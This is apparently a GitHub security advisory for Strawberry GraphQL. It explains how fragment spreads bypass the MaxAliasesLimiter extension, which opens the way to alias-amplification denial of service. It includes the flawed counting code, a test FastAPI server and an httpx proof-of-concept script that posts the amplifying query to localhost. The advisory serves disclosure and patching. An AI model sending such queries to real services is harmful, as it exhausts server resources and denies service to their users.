GHSA-fr49-mhgj-crfcMediumCVSS 5.3

Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification

Published
June 4, 2026
Last Modified
June 4, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details

The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach

for selection in selection_set_owner.selection_set.selections: 
    if isinstance(selection, FieldNode) and selection.alias:
        result += 1

    if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
        result += count_fields_with_alias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads * aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Limit is set to 20 aliases
schema = strawberry.Schema(
    query=Query, 
    extensions=[MaxAliasesLimiter(max_alias_count=20)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

payloads

import httpx

payload = {
    "query": """
        fragment Amplification on User {
            a1: name, a2: name, a3: name, a4: name, a5: name,
            a6: name, a7: name, a8: name, a9: name, a10: name
        }
        query Bypass {
            u1: user { ...Amplification }
            u2: user { ...Amplification }
            u3: user { ...Amplification }
            u4: user { ...Amplification }
            u5: user { ...Amplification }
            u6: user { ...Amplification }
            u7: user { ...Amplification }
            u8: user { ...Amplification }
            u9: user { ...Amplification }
            u10: user { ...Amplification }
        }
    """
}

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())

Impact

An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory

🎯 Affected products1

  • pip/strawberry-graphql:>= 0.172.0, <= 0.315.6

🔗 References (3)